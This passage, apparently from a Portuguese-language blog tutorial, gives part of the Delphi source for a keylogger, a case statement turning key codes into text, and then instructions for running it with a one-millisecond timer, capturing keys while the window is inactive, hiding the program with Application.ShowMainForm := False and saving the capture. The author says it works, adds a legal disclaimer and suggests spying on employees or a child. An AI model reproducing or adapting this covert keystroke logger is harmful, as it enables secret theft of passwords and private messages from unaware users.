[HOME] ');37: Coloca(' [SETA ESQUERDA] ');38: Coloca(' [SETA ACIMA] ');39: Coloca(' [SETA DIREITA] ');40: Coloca(' [SETA ABAIXO] ');45: Coloca(' [INSERT] ');46: Coloca(' [DEL] ');91: Coloca(' [WIN ESQUERDA] ');92: Coloca(' [WIN DIREITA] ');93: Coloca(' [MENU POP-UP] ');96: Coloca('0');97: Coloca('1');98: Coloca('2');99: Coloca('3');100: Coloca('4');101: Coloca('5');102: Coloca('6');103: Coloca('7');104: Coloca('8');105: Coloca('9');106: Coloca(' [NUM *] ');107: Coloca(' [NUM +] ');109: Coloca(' [NUM -] ');110: Coloca(' [NUM SEP. DECIMAL] ');111: Coloca(' [NUM /] ');112: Coloca(' [F1] ');113: Coloca(' [F2] ');114: Coloca(' [F3] ');115: Coloca(' [F4] ');116: Coloca(' [F5] ');117: Coloca(' [F6] ');118: Coloca(' [F7] ');119: Coloca(' [F8] ');120: Coloca(' [F9] ');121: Coloca(' [F10] ');122: Coloca(' [F11] ');123: Coloca(' [F12] ');144: Coloca(' [NUM LOCK] ');186: Coloca('C');187: Coloca('=');188: Coloca(',');189: Coloca('-');190: Coloca('.');191: Coloca(';');192: Coloca(' [APOSTROFO] ');193: Coloca('/');194: Coloca(' [NUM PONTO] ');219: Coloca(' ');220: Coloca(']');221: Coloca('[');222: Coloca('~');226: Coloca('\');elseif (KeyLoop >= 65) and (keyloop <= 90) thenColoca(Chr(keyloop));if (keyloop >= 32) and (keyloop <= 63) thenColoca(Chr(keyloop));//numpad keycodesif (keyloop >= 96) and (keyloop <= 110) thenColoca(Chr(keyloop));end;end; //case;inc(keyloop);until keyloop = 255;end;ah sim, ia esquecendo.. coloque o interval do timer para "1"... senao ficara dificil captar neh.. rse ++:e bom dxar o memo desabilitado (com a propriedade Enabled := False), pq se vc digitar nele, ira aparecer o q vc digitou naturalmente MAIS o q o Timer fica adicionando a ele, e ficara repedito e confuso..Entao... Rode o programa (tecle F9).Tecle qualquer coisa no teclado e observe! Isso funciona mesmo se sua janela nao estiver ativa (digo, se estiver por tras das outras ou ocultas). Keylogger que se preze... Nao fica em janela!Oculte-o como preferir, e salve o conteudo do Memo onde quiser. Ai e com voce...Dica: para ocultar o programa, digite Application.ShowMainForm := False, no codigo-fonte do projeto, depois do Application.Initialize e antes do Application.CreateForm... Mas ai voce devera ter criado um metodo para recuperar o que foi digitado, ne?!Adapte o programa como voce quiser, afinal aqui apenas mostrei como e possivel capturar o que foi digitado. Lembre-se de que ele podera ser fechado pelo Gerenciador de tarefas do Windows, atraves da guia "Processos".deixo claro que esse codigo realmente "funciona", eu testei e coloquei algumas coisas a mais. eh soh adaptar ao q vc quer fazer!UM KEYLOGGER PODE SER VISTO COMO UM PROGRAMA DO MAL, QUE COLETA DADOS DO USUARIO SEM O CONSENTIMENTO DESTE, E ENVIA AS INFORMACOES COLETADAS PARA ALGUM HACKER OU PESSOA DO MAL. MAS ESSE MESMO KEYLOGGER PODE SER USADO PARA IDENTIFICAR O FUNCIONARIO QUE ZOA NOS COMPUTADORES DA EMPRESA, PARA VER O QUE SUA FILHA DE 10 ANOS TECLA NO MSN, ETC. NOTE QUE PODE SER DE USO PROIBIDO EM ALGUNS PAISES. EM OUTROS, O MAIS COMUM, PARA SER CONSIDERADO UM SOFTWARE LEGAL ELE DEVE INFORMAR QUE O SISTEMA ESTA SENDO MONITORADO. EM EMPRESAS, POR EXEMPLO, OS FUNCIONARIOS DEVEM USAR OS COMPUTADORES PARA FINS DA EMPRESA, NUNCA COMO USO PESSOAL. ISSO DEVE SER DEIXADO BEM CLARO EM CONTRATO.NAO ME RESPONSABILIZO POR NADA QUE POSSA ACONTECER DEVIDO O USO DESTES CODIGOS AQUI APRESENTADOS. USE COM CONSCIENCIA E RESPONSABILIDADE, SEMPRE.Nada como uma dica dessas comemorando esse UM ANO do Explorando!NOTA: Apesar de funcionar, essa forma de criar keylogger e uma gambiarra tremenda. Nao e ideal